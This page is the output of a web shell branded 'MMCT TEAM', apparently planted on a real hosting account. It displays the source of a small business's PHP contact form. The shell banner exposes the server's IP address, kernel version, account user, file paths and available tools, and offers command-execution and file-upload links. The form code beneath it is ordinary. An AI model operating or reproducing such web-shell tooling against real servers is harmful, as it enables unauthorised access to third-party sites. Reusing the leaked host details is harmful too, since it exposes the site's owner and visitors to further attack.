MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.131.13.196
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/deedeecreation.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/deedeecreation.in/contact.php
<?php
include_once('admin/config.php');

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST['submit'])) {
        $name = $_POST['name'];
        $phone = $_POST['phone'];
        $email = $_POST['email'];
        $message = $_POST['message'];

        if (empty($name)) {
            $errors[] = "Name field is required.";
        } elseif (!ctype_alpha($name)) {
            $errors[] = "Name can only contain alphabets.";
        }

        if (empty($email)) {
            $errors[] = "Email field is required.";
        }

        if (empty($phone)) {
            $errors[] = "Phone field is required.";
        } elseif (!preg_match('/^\d{10}$/', $phone)) {
            $errors[] = "Phone number should have exactly 10 digits.";
        }
        if (!empty($message)) {
            $message = htmlspecialchars($message); // Sanitize the message input
        }

        if (empty($errors)) {
            $query = "INSERT INTO `tbl_queries` (`name`, `phone`, `email`, `message`) VALUES (?, ?, ?, ?)";
            $stmt = mysqli_prepare($db, $query);
            mysqli_stmt_bind_param($stmt, "ssss", $name, $phone, $email, $message);
            $result = mysqli_stmt_execute($stmt);
            mysqli_stmt_close($stmt);

            if ($result) {
                echo "<script>
                    window.alert('Successfully Sent! We will contact you soon');
                    window.location.href = contact.html;
                </script>";
            } else {
                echo "Error";
            }
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Contact - Dee Dee Creation</title>
    <meta name="description" content="Visit Us - xi/1571 Laxmi Cenima Gali Behind Wine Shop Gandhi Nagar, Delhi, India-110031 - 9140669077 - morphykids@gmail.com">
    <?php include 'top-link.php';?>
</head>

<body>
    <?php include 'header.php';?>
    <section class="nav-burger py-3">
        <div class="container">
            <div class="row">
                <div class="col">
                    <h2 class="text-center">CONTACT US</h2>
                    <p class="text-center"><a href="<?php echo $wspath?>">Home </a><span> /</span> Contact</p>
                </div>
            </div>
        </div>
    </section>
    <section class="contact m-3 py-5  ">
        <div class="container">
            <div class="row">
                <!-- <div class="contact-top"> -->
                    <div class="col-md-4">
                        <div class="detail-box">
                            <i class="fa-solid fa-phone"></i>
                            <a href="tel:<?php echo $datac["phone"]; ?>">
                                <p class="text-center hov"><?php echo $datac["phone"]; ?></p> <br> 
                            </a>
                        </div>
                    </div>
                    <div class="col-md-4">
                        <div class="detail-box">
                            <i class="fa-solid fa-envelope"></i>
                            <a href="mailto:<?php echo $datac["email"]; ?>">
                                <p class="text-center hov"><?php echo $datac["email"]; ?></p>
                                <br> 
                            </a>
                        </div>
                    </div>
                    <div class="col-md-4">
                        <div class="detail-box">
                            <i class="fa-solid fa-map"></i>
                            <p class="text-center"><?php echo $datac["address"]; ?></p>
                        </div>
                    </div>
                <!-- </div> -->
            </div>
        </div>
    </section>
    <section class="enquiry-form">
        <div class="container">
            <div class="row">
                <div style="margin: auto;display: block;" class="col-md-6">
                    <div class="enquiry-box">
                        <h1 class="text-center">Enquiry Now</h1>
                        <form action="<?php $_PHP_SELF?>" method="POST">
                            <div class="mb-3">
                                <label for="exampleInputName" class="form-label">Your Name</label>
                                <input type="text" class="form-control" name="name" required>
                                <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?>
                                <p class="error">Name field is required.</p>
                                <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?>
                                    <p class="error">Name can only contain alphabets.</p>
                                <?php } ?>
                            </div>
                            <div class="mb-3">
                                <label for="exampleInputName" class="form-label">Contact Number</label>
                                <input type="text" name="phone" class="form-control" aria-describedby="nameHelp"minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" class="form-control" onpaste="return false;" required>
                                <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?>
                                    <p class="error">Phone field is required.</p>
                                <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?>
                                    <p class="error">Phone number should have exactly 10 digits.</p>
                                <?php } ?>
                            </div>
                            <div class="mb-3">
                                <label  class="form-label">Email Address</label>
                                <input type="email" class="form-control" aria-describedby="emailHelp" required name="email">
                                <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?>
                                    <p class="error">Email field is required.</p>
                                <?php } ?>
                            </div>
                            <!--<div class="mb-3">-->
                            <!--    <label  class="form-label">City</label>-->
                            <!--    <input type="text" class="form-control" >--> 
                            <!--</div>-->
                            <div class="mb-3">
                                <label  class="form-label">Address</label>
                                <textarea class="form-control" name="message" ></textarea>
                            </div>
 
                            <button type="submit" class="btn btn-primary" name="submit">Submit</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <?php include 'footer.php';?>
</body>

</html>

MMCT - 2023